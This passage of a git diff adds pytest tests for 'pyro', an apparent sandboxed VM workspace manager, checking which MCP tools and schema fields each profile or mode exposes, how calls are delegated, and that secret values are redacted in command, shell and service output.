int(result["exit_code"]) == 0 assert str(result["stdout"]) == "ok\n" -def test_pyro_create_server_registers_vm_run(tmp_path: Path) -> None: +def test_pyro_create_server_defaults_to_workspace_core_profile(tmp_path: Path) -> None: + pyro = Pyro( + manager=VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + ) + + async def _run() -> tuple[list[str], dict[str, dict[str, Any]]]: + server = pyro.create_server() + tools = await server.list_tools() + tool_map = {tool.name: tool.model_dump() for tool in tools} + return sorted(tool_map), tool_map + + tool_names, tool_map = asyncio.run(_run()) + assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS)) + create_properties = tool_map["workspace_create"]["inputSchema"]["properties"] + assert "network_policy" not in create_properties + assert "secrets" not in create_properties + exec_properties = tool_map["workspace_exec"]["inputSchema"]["properties"] + assert "secret_env" not in exec_properties + assert "shell_open" not in tool_map + assert "service_start" not in tool_map + assert "snapshot_create" not in tool_map + assert "workspace_disk_export" not in tool_map + + +def test_pyro_create_server_workspace_full_profile_keeps_shell_read_schema(tmp_path: Path) -> None: + pyro = Pyro( + manager=VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + ) + + async def _run() -> tuple[list[str], dict[str, dict[str, Any]]]: + server = pyro.create_server(profile="workspace-full") + tools = await server.list_tools() + tool_map = {tool.name: tool.model_dump() for tool in tools} + return sorted(tool_map), tool_map + + tool_names, tool_map = asyncio.run(_run()) + assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS)) + shell_read_properties = tool_map["shell_read"]["inputSchema"]["properties"] + assert "plain" in shell_read_properties + assert "wait_for_idle_ms" in shell_read_properties + + +def test_pyro_create_server_vm_run_profile_registers_only_vm_run(tmp_path: Path) -> None: pyro = Pyro( manager=VmManager( backend_name="mock", @@ -40,13 +126,207 @@ def test_pyro_create_server_registers_vm_run(tmp_path: Path) -> None: ) async def _run() -> list[str]: - server = pyro.create_server() + server = pyro.create_server(profile="vm-run") tools = await server.list_tools() return sorted(tool.name for tool in tools) - tool_names = asyncio.run(_run()) - assert "vm_run" in tool_names - assert "vm_create" in tool_names + assert tuple(asyncio.run(_run())) == PUBLIC_MCP_VM_RUN_PROFILE_TOOLS + + +def test_pyro_create_server_workspace_core_profile_registers_expected_tools_and_schemas( + tmp_path: Path, +) -> None: + pyro = Pyro( + manager=VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + ) + + async def _run() -> tuple[list[str], dict[str, dict[str, Any]]]: + server = pyro.create_server(profile="workspace-core") + tools = await server.list_tools() + tool_map = {tool.name: tool.model_dump() for tool in tools} + return sorted(tool_map), tool_map + + tool_names, tool_map = asyncio.run(_run()) + assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS)) + create_properties = tool_map["workspace_create"]["inputSchema"]["properties"] + assert "network_policy" not in create_properties + assert "secrets" not in create_properties + exec_properties = tool_map["workspace_exec"]["inputSchema"]["properties"] + assert "secret_env" not in exec_properties + assert "shell_open" not in tool_map + assert "service_start" not in tool_map + assert "snapshot_create" not in tool_map + assert "workspace_disk_export" not in tool_map + + +def test_pyro_create_server_repro_fix_mode_registers_expected_tools_and_schemas( + tmp_path: Path, +) -> None: + pyro = Pyro( + manager=VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + ) + + async def _run() -> tuple[list[str], dict[str, dict[str, Any]]]: + server = pyro.create_server(mode="repro-fix") + tools = await server.list_tools() + tool_map = {tool.name: tool.model_dump() for tool in tools} + return sorted(tool_map), tool_map + + tool_names, tool_map = asyncio.run(_run()) + assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_REPRO_FIX_MODE_TOOLS)) + create_properties = tool_map["workspace_create"]["inputSchema"]["properties"] + assert "network_policy" not in create_properties + assert "secrets" not in create_properties + exec_properties = tool_map["workspace_exec"]["inputSchema"]["properties"] + assert "secret_env" not in exec_properties + assert "service_start" not in tool_map + assert "shell_open" not in tool_map + assert "snapshot_create" not in tool_map + assert "reproduce a failure" in str(tool_map["workspace_create"]["description"]) + + +def test_pyro_create_server_cold_start_mode_registers_expected_tools_and_schemas( + tmp_path: Path, +) -> None: + pyro = Pyro( + manager=VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + ) + + async def _run() -> tuple[list[str], dict[str, dict[str, Any]]]: + server = pyro.create_server(mode="cold-start") + tools = await server.list_tools() + tool_map = {tool.name: tool.model_dump() for tool in tools} + return sorted(tool_map), tool_map + + tool_names, tool_map = asyncio.run(_run()) + assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_COLD_START_MODE_TOOLS)) + assert "shell_open" not in tool_map + assert "snapshot_create" not in tool_map + service_start_properties = tool_map["service_start"]["inputSchema"]["properties"] + assert "secret_env" not in service_start_properties + assert "published_ports" not in service_start_properties + create_properties = tool_map["workspace_create"]["inputSchema"]["properties"] + assert "network_policy" not in create_properties + + +def test_pyro_create_server_review_eval_mode_registers_expected_tools_and_schemas( + tmp_path: Path, +) -> None: + pyro = Pyro( + manager=VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + ) + + async def _run() -> tuple[list[str], dict[str, dict[str, Any]]]: + server = pyro.create_server(mode="review-eval") + tools = await server.list_tools() + tool_map = {tool.name: tool.model_dump() for tool in tools} + return sorted(tool_map), tool_map + + tool_names, tool_map = asyncio.run(_run()) + assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_REVIEW_EVAL_MODE_TOOLS)) + assert "service_start" not in tool_map + assert "shell_open" in tool_map + assert "snapshot_create" in tool_map + shell_open_properties = tool_map["shell_open"]["inputSchema"]["properties"] + assert "secret_env" not in shell_open_properties + + +def test_pyro_create_server_inspect_mode_registers_expected_tools(tmp_path: Path) -> None: + pyro = Pyro( + manager=VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + ) + + async def _run() -> list[str]: + server = pyro.create_server(mode="inspect") + tools = await server.list_tools() + return sorted(tool.name for tool in tools) + + assert tuple(asyncio.run(_run())) == tuple(sorted(PUBLIC_MCP_INSPECT_MODE_TOOLS)) + + +def test_pyro_create_server_rejects_mode_and_non_default_profile(tmp_path: Path) -> None: + pyro = Pyro( + manager=VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + ) + + with pytest.raises(ValueError, match="mutually exclusive"): + pyro.create_server(profile="workspace-full", mode="repro-fix") + + +def test_pyro_create_server_project_path_updates_workspace_create_description_and_default_seed( + tmp_path: Path, +) -> None: + repo = _make_repo(tmp_path / "repo", content="project-aware\n") + pyro = Pyro( + manager=VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + ) + + def _extract_structured(raw_result: object) -> dict[str, Any]: + if not isinstance(raw_result, tuple) or len(raw_result) != 2: + raise TypeError("unexpected call_tool result shape") + _, structured = raw_result + if not isinstance(structured, dict): + raise TypeError("expected structured dictionary result") + return cast(dict[str, Any], structured) + + async def _run() -> tuple[dict[str, Any], dict[str, Any], dict[str, Any]]: + server = pyro.create_server(project_path=repo) + tools = await server.list_tools() + tool_map = {tool.name: tool.model_dump() for tool in tools} + created = _extract_structured( + await server.call_tool( + "workspace_create", + { + "environment": "debian:12-base", + "allow_host_compat": True, + }, + ) + ) + executed = _extract_structured( + await server.call_tool( + "workspace_exec", + { + "workspace_id": created["workspace_id"], + "command": "cat note.txt", + }, + ) + ) + return tool_map["workspace_create"], created, executed + + workspace_create_tool, created, executed = asyncio.run(_run()) + assert "If `seed_path` is omitted" in str(workspace_create_tool["description"]) + assert str(repo.resolve()) in str(workspace_create_tool["description"]) + assert created["workspace_seed"]["origin_kind"] == "project_path" + assert created["workspace_seed"]["origin_ref"] == str(repo.resolve()) + assert executed["stdout"] == "project-aware\n" def test_pyro_vm_run_tool_executes(tmp_path: Path) -> None: @@ -74,12 +354,1191 @@ def test_pyro_vm_run_tool_executes(tmp_path: Path) -> None: { "environment": "debian:12-base", "command": "printf 'ok\\n'", - "vcpu_count": 1, - "mem_mib": 512, "network": False, + "allow_host_compat": True, }, ) ) result = asyncio.run(_run()) assert int(result["exit_code"]) == 0 + + +def test_pyro_create_vm_defaults_sizing_and_host_compat(tmp_path: Path) -> None: + pyro = Pyro( + manager=VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + ) + + created = pyro.create_vm( + environment="debian:12-base", + allow_host_compat=True, + ) + + assert created["vcpu_count"] == 1 + assert created["mem_mib"] == 1024 + assert created["allow_host_compat"] is True + + +def test_pyro_workspace_network_policy_and_published_ports_delegate() -> None: + calls: list[tuple[str, dict[str, Any]]] = [] + + class StubManager: + def create_workspace(self, **kwargs: Any) -> dict[str, Any]: + calls.append(("create_workspace", kwargs)) + return {"workspace_id": "workspace-123"} + + def list_workspaces(self) -> dict[str, Any]: + calls.append(("list_workspaces", {})) + return {"count": 1, "workspaces": [{"workspace_id": "workspace-123"}]} + + def update_workspace(self, workspace_id: str, **kwargs: Any) -> dict[str, Any]: + calls.append(("update_workspace", {"workspace_id": workspace_id, **kwargs})) + return {"workspace_id": workspace_id, "name": "repro-fix", "labels": {"owner": "codex"}} + + def start_service( + self, + workspace_id: str, + service_name: str, + **kwargs: Any, + ) -> dict[str, Any]: + calls.append( + ( + "start_service", + { + "workspace_id": workspace_id, + "service_name": service_name, + **kwargs, + }, + ) + ) + return {"workspace_id": workspace_id, "service_name": service_name, "state": "running"} + + pyro = Pyro(manager=cast(Any, StubManager())) + + pyro.create_workspace( + environment="debian:12", + network_policy="egress+published-ports", + name="repro-fix", + labels={"issue": "123"}, + ) + pyro.list_workspaces() + pyro.update_workspace( + "workspace-123", + name="repro-fix", + labels={"owner": "codex"}, + clear_labels=["issue"], + ) + pyro.start_service( + "workspace-123", + "web", + command="python3 -m http.server 8080", + published_ports=[{"guest_port": 8080, "host_port": 18080}], + ) + + assert calls[0] == ( + "create_workspace", + { + "environment": "debian:12", + "vcpu_count": 1, + "mem_mib": 1024, + "ttl_seconds": 600, + "network_policy": "egress+published-ports", + "allow_host_compat": False, + "seed_path": None, + "secrets": None, + "name": "repro-fix", + "labels": {"issue": "123"}, + }, + ) + assert calls[1] == ( + "list_workspaces", + {}, + ) + assert calls[2] == ( + "update_workspace", + { + "workspace_id": "workspace-123", + "name": "repro-fix", + "clear_name": False, + "labels": {"owner": "codex"}, + "clear_labels": ["issue"], + }, + ) + assert calls[3] == ( + "start_service", + { + "workspace_id": "workspace-123", + "service_name": "web", + "command": "python3 -m http.server 8080", + "cwd": "/workspace", + "readiness": None, + "ready_timeout_seconds": 30, + "ready_interval_ms": 500, + "secret_env": None, + "published_ports": [{"guest_port": 8080, "host_port": 18080}], + }, + ) + + +def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: + pyro = Pyro( + manager=VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + ) + + source_dir = tmp_path / "seed" + source_dir.mkdir() + (source_dir / "note.txt").write_text("ok\n", encoding="utf-8") + secret_file = tmp_path / "token.txt" + secret_file.write_text("from-file\n", encoding="utf-8") + + created = pyro.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=source_dir, + name="repro-fix", + labels={"issue": "123"}, + secrets=[ + {"name": "API_TOKEN", "value": "expected"}, + {"name": "FILE_TOKEN", "file_path": str(secret_file)}, + ], + ) + workspace_id = str(created["workspace_id"]) + listed_before = pyro.list_workspaces() + updated_metadata = pyro.update_workspace( + workspace_id, + labels={"owner": "codex"}, + clear_labels=["issue"], + ) + updated_dir = tmp_path / "updated" + updated_dir.mkdir() + (updated_dir / "more.txt").write_text("more\n", encoding="utf-8") + synced = pyro.push_workspace_sync(workspace_id, updated_dir, dest="subdir") + executed = pyro.exec_workspace( + workspace_id, + command='sh -lc \'printf "%s\\n" "$API_TOKEN"\'', + secret_env={"API_TOKEN": "API_TOKEN"}, + ) + listed_files = pyro.list_workspace_files(workspace_id, path="/workspace", recursive=True) + file_read = pyro.read_workspace_file(workspace_id, "note.txt") + file_write = pyro.write_workspace_file( + workspace_id, + "src/app.py", + text="print('hello from file op')\n", + ) + patch_result = pyro.apply_workspace_patch( + workspace_id, + patch=( + "--- a/note.txt\n" + "+++ b/note.txt\n" + "@@ -1 +1 @@\n" + "-ok\n" + "+patched\n" + ), + ) + diff_payload = pyro.diff_workspace(workspace_id) + snapshot = pyro.create_snapshot(workspace_id, "checkpoint") + snapshots = pyro.list_snapshots(workspace_id) + export_path = tmp_path / "exported-note.txt" + exported = pyro.export_workspace(workspace_id, "note.txt", output_path=export_path) + shell = pyro.open_shell( + workspace_id, + secret_env={"API_TOKEN": "API_TOKEN"}, + ) + shell_id = str(shell["shell_id"]) + pyro.write_shell(workspace_id, shell_id, input='printf "%s\\n" "$API_TOKEN"') + shell_output: dict[str, Any] = {} + deadline = time.time() + 5 + while time.time() < deadline: + shell_output = pyro.read_shell(workspace_id, shell_id, cursor=0, max_chars=65536) + if "[REDACTED]" in str(shell_output.get("output", "")): + break + time.sleep(0.05) + shell_closed = pyro.close_shell(workspace_id, shell_id) + service = pyro.start_service( + workspace_id, + "app", + command=( + 'sh -lc \'trap "exit 0" TERM; printf "%s\\n" "$API_TOKEN" >&2; ' + 'touch .ready; while true; do sleep 60; done\'' + ), + readiness={"type": "file", "path": ".ready"}, + secret_env={"API_TOKEN": "API_TOKEN"}, + ) + services = pyro.list_services(workspace_id) + service_status = pyro.status_service(workspace_id, "app") + service_logs = pyro.logs_service(workspace_id, "app", all=True) + summary = pyro.summarize_workspace(workspace_id) + reset = pyro.reset_workspace(workspace_id, snapshot="checkpoint") + deleted_snapshot = pyro.delete_snapshot(workspace_id, "checkpoint") + status = pyro.status_workspace(workspace_id) + logs = pyro.logs_workspace(workspace_id) + deleted = pyro.delete_workspace(workspace_id) + + assert created["secrets"] == [ + {"name": "API_TOKEN", "source_kind": "literal"}, + {"name": "FILE_TOKEN", "source_kind": "file"}, + ] + assert created["name"] == "repro-fix" + assert created["labels"] == {"issue": "123"} + assert listed_before["count"] == 1 + assert listed_before["workspaces"][0]["name"] == "repro-fix" + assert updated_metadata["labels"] == {"owner": "codex"} + assert executed["stdout"] == "[REDACTED]\n" + assert any(entry["path"] == "/workspace/note.txt" for entry in listed_files["entries"]) + assert file_read["content"] == "ok\n" + assert file_write["path"] == "/workspace/src/app.py" + assert file_write["bytes_written"] == len("print('hello from file op')\n".encode("utf-8")) + assert patch_result["changed"] is True + assert patch_result["entries"] == [{"path": "/workspace/note.txt", "status": "modified"}] + assert created["workspace_seed"]["mode"] == "directory" + assert synced["workspace_sync"]["destination"] == "/workspace/subdir" + assert diff_payload["changed"] is True + assert snapshot["snapshot"]["snapshot_name"] == "checkpoint" + assert snapshots["count"] == 2 + assert exported["output_path"] == str(export_path) + assert export_path.read_text(encoding="utf-8") == "patched\n" + assert shell_output["output"].count("[REDACTED]") >= 1 + assert shell_closed["closed"] is True + assert service["state"] == "running" + assert services["count"] == 1 + assert service_status["state"] == "running" + assert service_logs["stderr"].count("[REDACTED]") >= 1 + assert service_logs["tail_lines"] is None + assert summary["workspace_id"] == workspace_id + assert summary["commands"]["total"] >= 1 + assert summary["changes"]["available"] is True + assert reset["workspace_reset"]["snapshot_name"] == "checkpoint" + assert reset["secrets"] == created["secrets"] + assert deleted_snapshot["deleted"] is True + assert status["command_count"] == 0 + assert status["service_count"] == 0 + assert logs["count"] == 0 + assert deleted["deleted"] is True + + +def test_pyro_workspace_disk_methods_delegate_to_manager() -> None: + calls: list[tuple[str, dict[str, Any]]] = [] + + class StubManager: + def stop_workspace(self, workspace_id: str) -> dict[str, Any]: + calls.append(("stop_workspace", {"workspace_id": workspace_id})) + return {"workspace_id": workspace_id, "state": "stopped"} + + def start_workspace(self, workspace_id: str) -> dict[str, Any]: + calls.append(("start_workspace", {"workspace_id": workspace_id})) + return {"workspace_id": workspace_id, "state": "started"} + + def export_workspace_disk(self, workspace_id: str, *, output_path: Path) -> dict[str, Any]: + calls.append( + ( + "export_workspace_disk", + {"workspace_id": workspace_id, "output_path": str(output_path)}, + ) + ) + return {"workspace_id": workspace_id, "output_path": str(output_path)} + + def list_workspace_disk( + self, + workspace_id: str, + *, + path: str = "/workspace", + recursive: bool = False, + ) -> dict[str, Any]: + calls.append( + ( + "list_workspace_disk", + { + "workspace_id": workspace_id, + "path": path, + "recursive": recursive, + }, + ) + ) + return {"workspace_id": workspace_id, "entries": []} + + def read_workspace_disk( + self, + workspace_id: str, + *, + path: str, + max_bytes: int = 65536, + ) -> dict[str, Any]: + calls.append( + ( + "read_workspace_disk", + { + "workspace_id": workspace_id, + "path": path, + "max_bytes": max_bytes, + }, + ) + ) + return {"workspace_id": workspace_id, "content": ""} + + pyro = Pyro(manager=cast(Any, StubManager())) + + stopped = pyro.stop_workspace("workspace-123") + started = pyro.start_workspace("workspace-123") + exported = pyro.export_workspace_disk("workspace-123", output_path=Path("/tmp/workspace.ext4")) + listed = pyro.list_workspace_disk("workspace-123", path="/workspace/src", recursive=True) + read = pyro.read_workspace_disk("workspace-123", "note.txt", max_bytes=4096) + + assert stopped["state"] == "stopped" + assert started["state"] == "started" + assert exported["output_path"] == "/tmp/workspace.ext4" + assert listed["entries"] == [] + assert read["content"] == "" + assert calls == [ + ("stop_workspace", {"workspace_id": "workspace-123"}), + ("start_workspace", {"workspace_id": "workspace-123"}), + ( + "export_workspace_disk", + { + "workspace_id": "workspace-123", + "output_path": "/tmp/workspace.ext4", + }, + ), + ( + "list_workspace_disk", + { + "workspace_id": "workspace-123", + "path": "/workspace/src", + "recursive": True, + }, + ), + ( + "read_workspace_disk", + { + "workspace_id": "workspace-123", + "path": "note.txt", + "max_bytes": 4096, + }, + ), + ] + + +def test_pyro_create_server_workspace_disk_tools_delegate() -> None: + calls: list[tuple[str, dict[str, Any]]] = [] + + class StubManager: + def stop_workspace(self, workspace_id: str) -> dict[str, Any]: + calls.append(("stop_workspace", {"workspace_id": workspace_id})) + return {"workspace_id": workspace_id, "state": "stopped"} + + def start_workspace(self, workspace_id: str) -> dict[str, Any]: + calls.append(("start_workspace", {"workspace_id": workspace_id})) + return {"workspace_id": workspace_id, "state": "started"} + + def export_workspace_disk(self, workspace_id: str, *, output_path: str) -> dict[str, Any]: + calls.append( + ( + "export_workspace_disk", + {"workspace_id": workspace_id, "output_path": output_path}, + ) + ) + return {"workspace_id": workspace_id, "output_path": output_path} + + def list_workspace_disk( + self, + workspace_id: str, + *, + path: str = "/workspace", + recursive: bool = False, + ) -> dict[str, Any]: + calls.append( + ( + "list_workspace_disk", + { + "workspace_id": workspace_id, + "path": path, + "recursive": recursive, + }, + ) + ) + return {"workspace_id": workspace_id, "entries": []} + + def read_workspace_disk( + self, + workspace_id: str, + *, + path: str, + max_bytes: int = 65536, + ) -> dict[str, Any]: + calls.append( + ( + "read_workspace_disk", + { + "workspace_id": workspace_id, + "path": path, + "max_bytes": max_bytes, + }, + ) + ) + return {"workspace_id": workspace_id, "content": ""} + + pyro = Pyro(manager=cast(Any, StubManager())) + + def _extract_structured(raw_result: object) -> dict[str, Any]: + if not isinstance(raw_result, tuple) or len(raw_result) != 2: + raise TypeError("unexpected call_tool result shape") + _, structured = raw_result + if not isinstance(structured, dict): + raise TypeError("expected structured dictionary result") + return cast(dict[str, Any], structured) + + async def _run() -> tuple[dict[str, Any], ...]: + server = pyro.create_server(profile="workspace-full") + stopped = _extract_structured( + await server.call_tool("workspace_stop", {"workspace_id": "workspace-123"}) + ) + started = _extract_structured( + await server.call_tool("workspace_start", {"workspace_id": "workspace-123"}) + ) + exported = _extract_structured( + await server.call_tool( + "workspace_disk_export", + { + "workspace_id": "workspace-123", + "output_path": "/tmp/workspace.ext4", + }, + ) + ) + listed = _extract_structured( + await server.call_tool( + "workspace_disk_list", + { + "workspace_id": "workspace-123", + "path": "/workspace/src", + "recursive": True, + }, + ) + ) + read = _extract_structured( + await server.call_tool( + "workspace_disk_read", + { + "workspace_id": "workspace-123", + "path": "note.txt", + "max_bytes": 4096, + }, + ) + ) + return stopped, started, exported, listed, read + + stopped, started, exported, listed, read = asyncio.run(_run()) + assert stopped["state"] == "stopped" + assert started["state"] == "started" + assert exported["output_path"] == "/tmp/workspace.ext4" + assert listed["entries"] == [] + assert read["content"] == "" + assert calls == [ + ("stop_workspace", {"workspace_id": "workspace-123"}), + ("start_workspace", {"workspace_id": "workspace-123"}), + ( + "export_workspace_disk", + { + "workspace_id": "workspace-123", + "output_path": "/tmp/workspace.ext4", + }, + ), + ( + "list_workspace_disk", + { + "workspace_id": "workspace-123", + "path": "/workspace/src", + "recursive": True, + }, + ), + ( + "read_workspace_disk", + { + "workspace_id": "workspace-123", + "path": "note.txt", + "max_bytes": 4096, + }, + ), + ] + + +def test_pyro_workspace_file_methods_delegate_to_manager() -> None: + calls: list[tuple[str, dict[str, Any]]] = [] + + class StubManager: + def list_workspace_files( + self, + workspace_id: str, + *, + path: str = "/workspace", + recursive: bool = False, + ) -> dict[str, Any]: + calls.append( + ( + "list_workspace_files", + { + "workspace_id": workspace_id, + "path": path, + "recursive": recursive, + }, + ) + ) + return {"workspace_id": workspace_id, "entries": []} + + def read_workspace_file( + self, + workspace_id: str, + path: str, + *, + max_bytes: int = 65536, + ) -> dict[str, Any]: + calls.append( + ( + "read_workspace_file", + { + "workspace_id": workspace_id, + "path": path, + "max_bytes": max_bytes, + }, + ) + ) + return {"workspace_id": workspace_id, "content": "hello\n"} + + def write_workspace_file( + self, + workspace_id: str, + path: str, + *, + text: str, + ) -> dict[str, Any]: + calls.append( + ( + "write_workspace_file", + { + "workspace_id": workspace_id, + "path": path, + "text": text, + }, + ) + ) + return {"workspace_id": workspace_id, "bytes_written": len(text.encode("utf-8"))} + + def apply_workspace_patch( + self, + workspace_id: str, + *, + patch: str, + ) -> dict[str, Any]: + calls.append( + ( + "apply_workspace_patch", + { + "workspace_id": workspace_id, + "patch": patch, + }, + ) + ) + return {"workspace_id": workspace_id, "changed": True} + + pyro = Pyro(manager=cast(Any, StubManager())) + + listed = pyro.list_workspace_files("workspace-123", path="/workspace/src", recursive=True) + read = pyro.read_workspace_file("workspace-123", "note.txt", max_bytes=4096) + written = pyro.write_workspace_file("workspace-123", "src/app.py", text="print('hi')\n") + patched = pyro.apply_workspace_patch( + "workspace-123", + patch="--- a/note.txt\n+++ b/note.txt\n@@ -1 +1 @@\n-old\n+new\n", + ) + + assert listed["entries"] == [] + assert read["content"] == "hello\n" + assert written["bytes_written"] == len("print('hi')\n".encode("utf-8")) + assert patched["changed"] is True + assert calls == [ + ( + "list_workspace_files", + { + "workspace_id": "workspace-123", + "path": "/workspace/src", + "recursive": True, + }, + ), + ( + "read_workspace_file", + { + "workspace_id": "workspace-123", + "path": "note.txt", + "max_bytes": 4096, + }, + ), + ( + "write_workspace_file", + { + "workspace_id": "workspace-123", + "path": "src/app.py", + "text": "print('hi')\n", + }, + ), + ( + "apply_workspace_patch", + { + "workspace_id": "workspace-123", + "patch": "--- a/note.txt\n+++ b/note.txt\n@@ -1 +1 @@\n-old\n+new\n", + }, + ), + ] + + +def test_pyro_create_server_workspace_file_tools_delegate() -> None: + calls: list[tuple[str, dict[str, Any]]] = [] + + class StubManager: + def list_workspace_files( + self, + workspace_id: str, + *, + path: str = "/workspace", + recursive: bool = False, + ) -> dict[str, Any]: + calls.append( + ( + "list_workspace_files", + { + "workspace_id": workspace_id, + "path": path, + "recursive": recursive, + }, + ) + ) + return {"workspace_id": workspace_id, "entries": []} + + def read_workspace_file( + self, + workspace_id: str, + path: str, + *, + max_bytes: int = 65536, + ) -> dict[str, Any]: + calls.append( + ( + "read_workspace_file", + { + "workspace_id": workspace_id, + "path": path, + "max_bytes": max_bytes, + }, + ) + ) + return {"workspace_id": workspace_id, "content": "hello\n"} + + def write_workspace_file( + self, + workspace_id: str, + path: str, + *, + text: str, + ) -> dict[str, Any]: + calls.append( + ( + "write_workspace_file", + { + "workspace_id": workspace_id, + "path": path, + "text": text, + }, + ) + ) + return {"workspace_id": workspace_id, "bytes_written": len(text.encode("utf-8"))} + + def apply_workspace_patch( + self, + workspace_id: str, + *, + patch: str, + ) -> dict[str, Any]: + calls.append( + ( + "apply_workspace_patch", + { + "workspace_id": workspace_id, + "patch": patch, + }, + ) + ) + return {"workspace_id": workspace_id, "changed": True} + + pyro = Pyro(manager=cast(Any, StubManager())) + + def _extract_structured(raw_result: object) -> dict[str, Any]: + if not isinstance(raw_result, tuple) or len(raw_result) != 2: + raise TypeError("unexpected call_tool result shape") + _, structured = raw_result + if not isinstance(structured, dict): + raise TypeError("expected structured dictionary result") + return cast(dict[str, Any], structured) + + async def _run() -> tuple[dict[str, Any], ...]: + server = pyro.create_server() + listed = _extract_structured( + await server.call_tool( + "workspace_file_list", + { + "workspace_id": "workspace-123", + "path": "/workspace/src", + "recursive": True, + }, + ) + ) + read = _extract_structured( + await server.call_tool( + "workspace_file_read", + { + "workspace_id": "workspace-123", + "path": "note.txt", + "max_bytes": 4096, + }, + ) + ) + written = _extract_structured( + await server.call_tool( + "workspace_file_write", + { + "workspace_id": "workspace-123", + "path": "src/app.py", + "text": "print('hi')\n", + }, + ) + ) + patched = _extract_structured( + await server.call_tool( + "workspace_patch_apply", + { + "workspace_id": "workspace-123", + "patch": "--- a/note.txt\n+++ b/note.txt\n@@ -1 +1 @@\n-old\n+new\n", + }, + ) + ) + return listed, read, written, patched + + listed, read, written, patched = asyncio.run(_run()) + assert listed["entries"] == [] + assert read["content"] == "hello\n" + assert written["bytes_written"] == len("print('hi')\n".encode("utf-8")) + assert patched["changed"] is True + assert calls == [ + ( + "list_workspace_files", + { + "workspace_id": "workspace-123", + "path": "/workspace/src", + "recursive": True, + }, + ), + ( + "read_workspace_file", + { + "workspace_id": "workspace-123", + "path": "note.txt", + "max_bytes": 4096, + }, + ), + ( + "write_workspace_file", + { + "workspace_id": "workspace-123", + "path": "src/app.py", + "text": "print('hi')\n", + }, + ), + ( + "apply_workspace_patch", + { + "workspace_id": "workspace-123", + "patch": "--- a/note.txt\n+++ b/note.txt\n@@ -1 +1 @@\n-old\n+new\n", + }, + ), + ] + + +def test_pyro_create_server_workspace_status_shell_and_service_delegate() -> None: + calls: list[tuple[str, dict[str, Any]]] = [] + + class StubManager: + def status_workspace(self, workspace_id: str) -> dict[str, Any]: + calls.append(("status_workspace", {"workspace_id": workspace_id})) + return {"workspace_id": workspace_id, "state": "started"} + + def logs_workspace(self, workspace_id: str) -> dict[str, Any]: + calls.append(("logs_workspace", {"workspace_id": workspace_id})) + return {"workspace_id": workspace_id, "count": 0, "entries": []} + + def summarize_workspace(self, workspace_id: str) -> dict[str, Any]: + calls.append(("summarize_workspace", {"workspace_id": workspace_id})) + return { + "workspace_id": workspace_id, + "state": "started", + "changes": {"available": True, "changed": False, "summary": None, "entries": []}, + } + + def open_shell( + self, + workspace_id: str, + *, + cwd: str = "/workspace", + cols: int = 120, + rows: int = 30, + secret_env: dict[str, str] | None = None, + ) -> dict[str, Any]: + calls.append( + ( + "open_shell", + { + "workspace_id": workspace_id, + "cwd": cwd, + "cols": cols, + "rows": rows, + "secret_env": secret_env, + }, + ) + ) + return {"workspace_id": workspace_id, "shell_id": "shell-1", "state": "running"} + + def read_shell( + self, + workspace_id: str, + shell_id: str, + *, + cursor: int = 0, + max_chars: int = 65536, + plain: bool = False, + wait_for_idle_ms: int | None = None, + ) -> dict[str, Any]: + calls.append( + ( + "read_shell", + { + "workspace_id": workspace_id, + "shell_id": shell_id, + "cursor": cursor, + "max_chars": max_chars, + "plain": plain, + "wait_for_idle_ms": wait_for_idle_ms, + }, + ) + ) + return {"workspace_id": workspace_id, "shell_id": shell_id, "output": ""} + + def write_shell( + self, + workspace_id: str, + shell_id: str, + *, + input_text: str, + append_newline: bool = True, + ) -> dict[str, Any]: + calls.append( + ( + "write_shell", + { + "workspace_id": workspace_id, + "shell_id": shell_id, + "input_text": input_text, + "append_newline": append_newline, + }, + ) + ) + return { + "workspace_id": workspace_id, + "shell_id": shell_id, + "input_length": len(input_text), + } + + def signal_shell( + self, + workspace_id: str, + shell_id: str, + *, + signal_name: str = "INT", + ) -> dict[str, Any]: + calls.append( + ( + "signal_shell", + { + "workspace_id": workspace_id, + "shell_id": shell_id, + "signal_name": signal_name, + }, + ) + ) + return {"workspace_id": workspace_id, "shell_id": shell_id, "signal": signal_name} + + def close_shell(self, workspace_id: str, shell_id: str) -> dict[str, Any]: + calls.append( + ("close_shell", {"workspace_id": workspace_id, "shell_id": shell_id}) + ) + return {"workspace_id": workspace_id, "shell_id": shell_id, "closed": True} + + def start_service( + self, + workspace_id: str, + service_name: str, + **kwargs: Any, + ) -> dict[str, Any]: + calls.append( + ( + "start_service", + { + "workspace_id": workspace_id, + "service_name": service_name, + **kwargs, + }, + ) + ) + return {"workspace_id": workspace_id, "service_name": service_name, "state": "running"} + + pyro = Pyro(manager=cast(Any, StubManager())) + + def _extract_structured(raw_result: object) -> dict[str, Any]: + if not isinstance(raw_result, tuple) or len(raw_result) != 2: + raise TypeError("unexpected call_tool result shape") + _, structured = raw_result + if not isinstance(structured, dict): + raise TypeError("expected structured dictionary result") + return cast(dict[str, Any], structured) + + async def _run() -> tuple[dict[str, Any], ...]: + server = pyro.create_server(profile="workspace-full") + status = _extract_structured( + await 